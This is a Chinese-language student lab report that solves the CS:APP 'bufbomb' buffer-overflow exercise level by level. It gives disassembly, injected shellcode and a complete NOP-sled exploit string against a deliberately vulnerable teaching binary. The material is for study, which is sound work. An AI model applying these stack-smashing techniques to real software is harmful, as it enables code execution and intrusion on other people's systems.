实验目的
- 了解函数调用过程,栈帧开辟释放,缓冲区溢出等知识。
- 学习缓冲区溢出攻击相关知识
实验介绍
本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。本次实验需要你熟练运用gdb、objdump、gcc等工具完成。
在这个实验中我们有三个主要文件用于实验:
- bufbomb :这个是我们要进行攻击的,具有缓冲区漏洞的文件。
- makecookie :这个文件可以产生一个你的特属 cookie ,这个个cookie是你后续实验中要用到 的,可以说是你的专属密码。
- hex2raw :这个文件,是一个小工具,这个小工具可以帮你转换一个按照ASCII中的编码对应十六 进制的串到一个字符串。这个生成的字符串是你用来攻击的武器。通过这个字节为单位的字符串生 成一个同样一一对应的字符串,这个字符串中每个字节的机器码,就是你的每个十六进制数对印的 字节的机器码。
关于 bufbomb
文件的参数:
- -u userid :这个参数我们输入自己的id,你喜欢啥就输啥,这个后面会用来构造你的特殊类似密码的东西。
- -h :打印出帮助文档,就是告诉你参数的意思的。
- -n :执行在“Nitro”模式下,这个参数是用在 level4 之下的。这个是给栈基址随机化使用的。
- -s :submit到网站,对我们没用。
关于缓冲区溢出攻击,以及我们这个实验的一点小说明:
bufbomb 程序从标准输入读取一个字符串,作为它的输入。然后它通过下面getbuf
方法 把这个字符串拷贝到定义变量buf
中去。
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
这里主要是通过 Gets 函数来实现的,这里的的 Gets 函数类似于c标准库中的gets函数,它能够从标准 输入中读取一个字符串,它是以“\n”作为结尾标志。
同时在上面的的程序中,我们也可以看到这个 buf 只有32个字节,但是标准输入的字符串长度不一定是 32个字节的。这就意味着, Gets 做的事情,就是简单的把字符串从第一个开始放,直到你的字符串到“\0”为止。如果放的字符串超过了 buf 空间,可能会破坏已有的栈空间。这就是我们利用这一点做到的缓冲区攻击。这个攻击字符串被称作 exploit string
,即攻击字符串。
Tips:
- 可以用管道符“|”简化你的答案输入:
sh> cat level0.txt | ./hex2raw | ./bufbomb -u userid
管道符就是把前者的输出作为后者的输入。
level0.txt
的内容是我们0号关卡的答案字符串,这里,我们把它cat出来,放到hex2raw
程序中去,作为输入。通过hex2raw
程序我们得到拷贝到数组中的字符串。 然后再它作为bufbomb
程序的输入。
- 你也可以分步完成上面的过程,利用文件输入输出重定向符 “<” 以及 “>”。
sh> ./hex2raw < exploit.txt > exploit-raw.txt
sh> ./bufbomb -u puitar < exploit-raw.txt
如何产生正确的机器码:
你可以使用 gcc 作为汇编器然后使用 objdump 作为反汇编器,这样能够很方便产生正确顺序的机器指令 字节编码。例如可以编写一个 example.S 文件包含如下汇编代码。
# Example of hand-generated assembly code
push $0xabcdef # Push value onto stack
add $17, %eax # Add 17 to %eax
.align 4 # Following will be aligned on multiple of 4
.long 0xfedcba98 # A 4-byte constant
这段代码包含了指令和数据。 我们可以汇编以及反汇编得到机器码:
sh> gcc -m32 -c example.S
sh> objdump -d example.o > example.d
所产生的example.d包含了以下内容:
68 ef cd ab 00 push $0xabcdef
83 c0 11 add $0x11,%eax
98 cwtl
ba .byte 0xba
dc fe fdivr %st,%st(6)
这样就得到了机器码。
Level 0: Candle (10 pts)
上面的介绍中已经介绍过 getbuf 函数的相关情况了,这个函数在 bufbomb 程序中被 test 函数调用。下 面是 test 方法的C程序代码。
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
在上面代码的第六行,我们通过在在test
函数中调用 getbuf
函数并且用变量 val 获得函数的返回值。 local
是一个栈末尾金丝雀变量,这个变量是用来检测栈溢出的。从上面代码第七行开始,程序会对栈金丝雀进行检查,根据这个随机数判断是不是溢出,我们要做的就是改变程序运行的状态。不让它运行到这里。
根据实验指导书在 bufbomb
文件中还有一个函数 smoke
,它的C代码如下:
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}
我们的任务就是要让 bufbomb
程序能够执行到smoke
的代码,但是 test
中没有显示的调用 smoke
程 序。这里的点就是通过 getbuf
存在的缓冲区溢出漏洞,构造字符串,是的字符串溢出能够隐式地改变 栈空间,改变getbuf
的返回地址,不是让它返回到 test
中去,而是返回到 smoke
去。
为了实现这个目的,我们要充分利用这个 getbuf
的缓冲区漏洞。所以我们更加深入了解一下 getbuf
的 机器表达,看看它的汇编如下:
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
在上面的代码中我们可以看到 804926e
行调用了 Gets
,这个 Gets
就是拷贝函数,它会完成缓冲区攻击 字串的拷贝,以及改造现有栈空间的过程。具体的,我们通过 8049268
行以及 804926b
行传递参数的汇 编代码,我们可以了解到,buf
字符数组的数组头在-0x28(%ebp),%eax
。而我们知道返回地址是在 0x4(%ebp)
的位置。
看看上面的示意图,当我们从 buf
的位置开始拷贝,一直向上拷贝,如果拷贝的内容在32字节以内的 话,就不会发生溢出。但是我们就是要它溢出,那么写几个字符比较合适呢?这里我们只要用我们的字符串覆盖return address
部分就好了。覆盖 return addr
部分的数值,应该是 smoke
函数的入口。 下面是 smoke
的汇编代码
08048e0a <smoke>:
8048e0a: 55 push %ebp
8048e0b: 89 e5 mov %esp,%ebp
8048e0d: 83 ec 18 sub $0x18,%esp
8048e10: c7 44 24 04 fe a2 04 movl $0x804a2fe,0x4(%esp)
8048e17: 08
8048e18: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1f: e8 6c fb ff ff call 8048990 <__printf_chk@plt>
8048e24: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e2b: e8 50 04 00 00 call 8049280 <validate>
8048e30: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e37: e8 94 fa ff ff call 80488d0 <exit@plt>
得到它的入口地址: 0x8048e0a。缓冲区大小为0x28,即40。我们需要在填满整个缓冲区后再覆盖掉8个字节,从而覆盖掉返回地址(小端存储)。所以要写48个字符。所以我们凑出44个字节,只要最后四个是返回地址即可:
这里有个问题,0a表示的是\n符所以不会被正常读取,这一点也在报告书中明确指出。由于 smoke后面exit直接退出了,所以 push %ebp 也没啥用,因为不返回了。所以我们略过 8048e0a
这一句,用 8048e0b
这一句。
验证正确性:
Level 1: Sparkler (10 pts)
根据实验指导书中指示,在 bufbomb 同样有这么一个函数叫做 fizz ,它C语言代码如下:
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
和level0类似,我们的任务就是获得让程序能够运行到fizz。但是,有一点小小的不同 fizz 函数需要传 递一个参数,这个参数是我们的 cookie。
08048daf <fizz>:
8048daf: 55 push %ebp
8048db0: 89 e5 mov %esp,%ebp
8048db2: 83 ec 18 sub $0x18,%esp
8048db5: 8b 45 08 mov 0x8(%ebp),%eax
8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048dbe: 75 26 jne 8048de6 <fizz+0x37>
8048dc0: 89 44 24 08 mov %eax,0x8(%esp)
8048dc4: c7 44 24 04 e0 a2 04 movl $0x804a2e0,0x4(%esp)
8048dcb: 08
8048dcc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048dd3: e8 b8 fb ff ff call 8048990 <__printf_chk@plt>
8048dd8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048ddf: e8 9c 04 00 00 call 8049280 <validate>
8048de4: eb 18 jmp 8048dfe <fizz+0x4f>
8048de6: 89 44 24 08 mov %eax,0x8(%esp)
8048dea: c7 44 24 04 d4 a4 04 movl $0x804a4d4,0x4(%esp)
8048df1: 08
8048df2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df9: e8 92 fb ff ff call 8048990 <__printf_chk@plt>
8048dfe: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048e05: e8 c6 fa ff ff call 80488d0 <exit@plt>
与smoke
函数不同的是,还需要知道 0x8(%ebp) 存放的是第一个参数,这个函数只有一个参数。在level0的基础上调节入口地址到 0x08048daf
,在此的基础上还需要再加上我的8位cookie。
与第一关相似,更改getbuf()
的返回地址为fizz()
的入口地址。进入fizz()后,esp的值加4,之后push %ebp
,esp的值减4,再由mov %esp,%ebp
,我们可以确定fizz()
的参数的地址。需要构造40+4个随机字符,然后是fizz()
函数的入口,再来四个随机字符,最后是我的cookie
值:
验证正确性:
Level 2: Firecracker (15 pts)
作为一名清除栈帧机制的程序员,我们可以充分利用缓冲区攻击字串来构造汇编代码。
缓冲区攻击字串会覆盖返回指针的位置,然后把这个返回地址指向你写的汇编代码的头,就可以实现, 返回后,直接跳转到你写的汇编代码的地方,这就很amazing啊。
让我们来看看这个实验的部分。当调用函数,实际上就是我们这里的 getbuf 函数执行它的 ret 指令的 时候,程序会执行栈中存储的代码,而不是返回。这才是真正意义上的缓冲区溢出攻击!你可以用着这 种方式来编写你自己的程序,并且让程序做几乎所有事情。这段你写的代码被称为 exploit code ,我 把它称作缓冲区攻击代码。这种风格的攻击方式非常有趣,因为你必须自己写需要运行的代码,而且自 己设置返回的地址。
在文件 bufbomb
中,有一个 bang
函数,下面是它C代码:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
类似于前两个level
,我们的任务就是能够把返回地址设置成 bang
的入口地址。使得代码能够执行 bang
函数,而不是返回 test
函数。在此之前,你必须要设置一个全局变量 global_value
到你的代码中 去。 push
函数 bang
的地址到栈中去,然后执行ret
指令,就能够导致跳转到bang
的代码片段了。先看一下反汇编:
08048d52 <bang>:
8048d52: 55 push %ebp
8048d53: 89 e5 mov %esp,%ebp
8048d55: 83 ec 18 sub $0x18,%esp
8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax
8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax
8048d63: 75 26 jne 8048d8b <bang+0x39>
8048d65: 89 44 24 08 mov %eax,0x8(%esp)
8048d69: c7 44 24 04 ac a4 04 movl $0x804a4ac,0x4(%esp)
8048d70: 08
8048d71: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d78: e8 13 fc ff ff call 8048990 <__printf_chk@plt>
8048d7d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8048d84: e8 f7 04 00 00 call 8049280 <validate>
8048d89: eb 18 jmp 8048da3 <bang+0x51>
8048d8b: 89 44 24 08 mov %eax,0x8(%esp)
8048d8f: c7 44 24 04 c2 a2 04 movl $0x804a2c2,0x4(%esp)
8048d96: 08
8048d97: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048d9e: e8 ed fb ff ff call 8048990 <__printf_chk@plt>
8048da3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048daa: e8 21 fb ff ff call 80488d0 <exit@plt>
查看第5,6行地址的内容:
发现0x804d10c
里存放的是global_value
,0x804d104
里存放的是cookie
。
根据上面的结构图,我们同样可以查取到 buf
位置,我选择把我的攻击指令放在buf
数组的前端。
我刚开始的思路是先将global_value
修改为cookie
值,再使用jmp
指令,直接跳转到bang
函数,所以写出以下汇编:
movl $0x69d56be4,0x0804d10c #修改变量值
jmp 0x08048d52 #bang函数地址
生成如下机器码:
00000000 <.text>:
0: c7 05 0c d1 04 08 e4 movl $0x69d56be4,0x804d10c
7: 6b d5 69
a: e9 52 8d 04 08 jmp 0x8048d52
在得到的字串后再加上缓冲区的首地址,用来覆盖原返回地址,可获得最后的攻击字符串:
验证结果:
但是很遗憾,发生了段错误,为什么?原来指导书中明确指出 jmp 和 call 会引发段错误,原因是,涉及到pc相关地址的修改。而是要使用 push return_addr
配合ret
的组合实现。因此我们要写的攻击代码应该是下面三条:
movl $0x69d56be4,0x804d10c #修改变量值
push $0x08048d52 #bang函数地址压栈
ret #利用ret语句完成对bang的调用
生成如下机器码:
00000000 <.text>:
0: c7 05 0c d1 04 08 e4 movl $0x69d56be4,0x804d10c
7: 6b d5 69
a: 68 52 8d 04 08 push $0x8048d52
f: c3 ret
最终输入编码如下:
验证结果:
Level 3: Dynamite (20 pts)
前几阶段的实验实现的攻击都是使得程序跳转到不同于正常返回地址的其他函数中,进而结束整个程序的运行。因此,攻击字符串所造成的对栈中原有记录值的破坏、改写是可接受的。然而,更高明的缓冲区溢出攻击是,除了执行攻击代码来改变程序的寄存器或内存中的值外,仍然使得程序能够返回到原来的调用函数(例如test)继续执行——即调用函数感觉不到攻击行为。
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
对于这个level,我们的工作仍然是提供一个攻击字串。它会导致getbuf
函数返回我的cookie
给 test
,而不是返回值value 0x1。看看 test
的代码。test
会检查 getbuf
的返回值,如果你返回的值 是 cookie
会引爆炸弹。在这之前他还会利用金丝雀检查栈堆是不是被改变了。所以我们的攻击字串要做到几件事情:
- 设置返回值为
cookie
- 恢复所有被改变的状态,
- 然后
push
正确的的返回地址到栈, - 然后执行
ret
指令返回到test
,而不是直接exit
首先我们知道函数的返回值是放在 eax
中,作为返回值返回的。所以 getbuf
在返回后 eax
就是0x1。随 后根据我们攻击字串,会跳转到攻击代码。这一部分我们可以重新把返回值,也就是我们的cookie
给 eax
实现改写返回值的目的。
返回地址就是调用getbuf
的下一条,和上一个level一样。用 push return_addr
结合 ret
的组合实现 从攻击代码返回到 test
我们可以看到 getbuf
的返回地址正常情况下应该是0x8048e50
。
逻辑上, getbuf
返回到攻击代码,攻击代码返回到 test
, crack_code
也就是攻击代码应该和 test
的栈底指针一致,这样就能够回到test
的栈空间。
通过gdb查看test栈底指针:
结合上面的分析,我们的攻击代码要实现一下功能:
movl $0x69d56be4, %eax # 修改返回值
push $0x8048e50 # 压入返回到test的返回地址
ret # 返回test
得到机器码:
00000000 <.text>:
0: b8 e4 6b d5 69 mov $0x69d56be4,%eax
5: 68 50 8e 04 08 push $0x8048e50
a: c3 ret
所以攻击字符串为:
验证正确性:
Level 4: Nitroglycerin (10 pts)
在这一关我们需要给命令加上 -n 标识
不同用户在调用同一过程的时候,往往堆栈的位置也是大不相同的。这其中的一个原因就是:当一个程序开始运行的时候所有环境变量(environment variable)的值都被放 在了栈的基地址附近。环境变量被以一些字符串的形式存储,根据它的值需要存储占用不同大小的空 间。因此对于一个给定的用户,栈地址的分配依托他的环境变量设置。栈地址在 GDB 下运行时,它的基 地址也会因此产生变化,原因是, GDB 使用栈空间时借助了一些它自己的状态。
在前面调用 getbuf 的过程中,栈都是固定的,因此 getbuf 的栈的位置无论运行几次都是相同的。这样 方便了你写一个攻击字串,因为你是知道 buf 的位置的。如果你尝试使用这样的方式在一个普通程序 上,你会发现它有时能够发生作用,但是它又是也会导致段错误。因此“dynamite”(炸药)——诺贝尔 发明了它,由此而得名。(这里指的是有一部分不稳定的因素使得程序不稳定,可能发生”爆炸“)。
对于这个level,我们需要有逆向思维,栈空间相比于它们正常情况下是更加不稳定的存在。因此 “nitroglycerin”的意思就是——一种爆炸性的十分糟糕的不稳定的存在。
当你运行 bufbomb 的时候,加上“ -n ”标识符,程序会运行在” Nitro “模式下。相比于调用 getbuf
,程 序会调用有一丝丝不同的 getbufn
函数:
/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512
这个函数和 getbuf
类似,除了buffer
的大小是512个字符。你需要利用这些额外的空间来创造一些可靠 的“利用”。代码调用 getbufn
首先会在栈上分配一个随机大小的存储空间。如果你两次成功采样 ebp
的 值,你会发现这两次两者的值得差在±240内。
另外,当运行在Nitro
模式下, bufbomb
要求你提交你的攻击字串5次,并且 getbufn
会执行5次,每一 次都是一个不同的栈偏移量。你的攻击字串需要使得函数每次都能够返回你的 cookie
。
你的任务和dynamite level相同。再一次的,对于这个level,你的任务是提供一个攻击字串,能够导致 getbufn
返回你的 cookie
值到 test
,而不是返回value 0x1。你将会看到程序打印出”KBOOM!“。 你的攻击代码需要设置你的cookie
作为返回值,恢复正确的栈空间状态,把正确的返回值入栈,然后 执行ret
指令返回到 testn
。
- 对于5次
getbufn
你必须要使用同一个字符串,用5次。否则就是错误的。 - 要充分利用好
nop
指令,它的机器编码是一个单字节(0x90)。
我们可以看到,在之前的实验中,我们都是以这样的方式来构造攻击字串的。最开始是攻击字串部分, 然后是为了填满 buf
的凑字数部分,最后是返回地址以及 ebp
的设置部分。
先看看getbufn
的汇编:
08049244 <getbufn>:
8049244: 55 push %ebp
8049245: 89 e5 mov %esp,%ebp
8049247: 81 ec 18 02 00 00 sub $0x218,%esp
804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049253: 89 04 24 mov %eax,(%esp)
8049256: e8 d7 f9 ff ff call 8048c32 <Gets>
804925b: b8 01 00 00 00 mov $0x1,%eax
8049260: c9 leave
8049261: c3 ret
查看它%ebp的值:
会发现, ebp
是”不确定的“的。而且一共运行五次,每次都不一样。那么 bufn
是根据和 ebp
的相对位 置来开辟的。这样一来, bufn
位置也是变化的。但是有一点是不变的:那就是 bufn
里面的值。所以我 们就需要一个通用的攻击代码,能够在不确定 ebp
的情况下实现攻击。
还有一个点,是这个实验的突破口。不论你运行几次这个 bufbomb
程序的level4,他每次的 getbufn
的 ebp
又总是一样的。这不是矛盾吗,前面说ebp
是dynamic的现在又说是一样的。不急,这里的一样是 指,第二次运行 bufbomb
的第一次 getbufn
的 ebp
和第一次运行 bufbomb
的第一次 getbufn
的ebp
是 一样大的,第二次运行 bufbomb
的第二次 getbufn
的 ebp
和第一次运行 bufbomb
的第二次 getbufn
的 ebp
是一样大的…以此类推。五次getbufn
的 ebp
一一对应总是相同的,而彼此之间又是不同。
我们可以通过 gdb 查看五次的 bufn 的位置,如下:
第一次 | 第二次 | 第三次 | 第四次 | 第五次 | |
---|---|---|---|---|---|
low | 0x556832d0 | ||||
0x556832f0 | |||||
0x55683340 | |||||
0x556833a0 | |||||
high | ox556833b0 |
五次每次开辟的栈空间总是在这样,不论运行几次。而攻击程序又总是如从低地址向高地址存放和运行 的,攻击字串也是从低地址向高地址存放的。
攻击字串的结构如下:
###攻击字串部分###
# 设置eax为cookie
# 然回到testn中call getbufn的下一条语句
###凑字数部分###
...
###返回地址设置部分###
# old ebp 设置成test的ebp值才行
# 修改返回地址为bufn地址用于跳转到攻击代码
难点就在返会地址设置部分:
-
old ebp
设置成test
的ebp
值才行- 相比于之前的在这一部分直接赋值老 ebp 的值
- 因为我们现在是不知道的 因此恢复 old ebp 的工作只能放在攻击代码部分
- 攻击代码运行的时候栈顶指针实际上已经是 testn 的栈顶指针了
08048cce <testn>: 8048cce: 55 push %ebp 8048ccf: 89 e5 mov %esp,%ebp 8048cd1: 53 push %ebx 8048cd2: 83 ec 24 sub $0x24,%esp 8048cd5: e8 3e ff ff ff call 8048c18 <uniqueval> 8048cda: 89 45 f4 mov %eax,-0xc(%ebp) 8048cdd: e8 62 05 00 00 call 8049244 <getbufn> 8048ce2: 89 c3 mov %eax,%ebx 8048ce4: e8 2f ff ff ff call 8048c18 <uniqueval> 8048ce9: 8b 55 f4 mov -0xc(%ebp),%edx 8048cec: 39 d0 cmp %edx,%eax 8048cee: 74 16 je 8048d06 <testn+0x38> 8048cf0: c7 44 24 04 60 a4 04 movl $0x804a460,0x4(%esp) 8048cf7: 08 8048cf8: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048cff: e8 8c fc ff ff call 8048990 <__printf_chk@plt> 8048d04: eb 46 jmp 8048d4c <testn+0x7e> 8048d06: 3b 1d 04 d1 04 08 cmp 0x804d104,%ebx 8048d0c: 75 26 jne 8048d34 <testn+0x66> 8048d0e: 89 5c 24 08 mov %ebx,0x8(%esp) 8048d12: c7 44 24 04 8c a4 04 movl $0x804a48c,0x4(%esp) 8048d19: 08 8048d1a: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048d21: e8 6a fc ff ff call 8048990 <__printf_chk@plt> 8048d26: c7 04 24 04 00 00 00 movl $0x4,(%esp) 8048d2d: e8 4e 05 00 00 call 8049280 <validate> 8048d32: eb 18 jmp 8048d4c <testn+0x7e> 8048d34: 89 5c 24 08 mov %ebx,0x8(%esp) 8048d38: c7 44 24 04 a6 a2 04 movl $0x804a2a6,0x4(%esp) 8048d3f: 08 8048d40: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048d47: e8 44 fc ff ff call 8048990 <__printf_chk@plt> 8048d4c: 83 c4 24 add $0x24,%esp 8048d4f: 5b pop %ebx 8048d50: 5d pop %ebp 8048d51: c3 ret
查看
testn
的汇编可知,testn
的ebp
和esp
的关系:ebp
=esp
+0x28。
根据上面的相对位置我们只要跳转到0x556833b0-0x208=0x556831a8,那么每一次跳转都能保证跳转到哦 nop 指令上。
攻击汇编代码如下:
movl $0x69d56be4, %eax # 修改返回值
lea 0x28(%esp), %ebp # 恢复ebp到testn的ebp
push $0x8048ce2 # 压入返回到`call getbufn`的下一条指令的位置
ret # 返回到`call getbufn`的下一条指令
上述编码转换为机器码:
00000000 <.text>:
0: b8 e4 6b d5 69 mov $0x69d56be4,%eax
5: 8d 6c 24 28 lea 0x28(%esp),%ebp
9: 68 e2 8c 04 08 push $0x8048ce2
e: c3 ret
至于前面 nop
的个数,可以简单计算一下:0x208-15=505(10)
。
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90
b8 e4 6b d5 69
8d 6c 24 28
68 e2 8c 04 08
c3
00 00 00 00
a8 31 68 55
0a
复制五次,每次以0a相隔。
验证结果:
总结
- 通过上述实验了解了函数调用过程,栈帧开辟释放,缓冲区溢出等知识。
- 学习缓冲区溢出攻击不是为了攻击而是写出更加安全的代码
- 通过金丝雀可以防止缓冲区溢出错误,更具安全性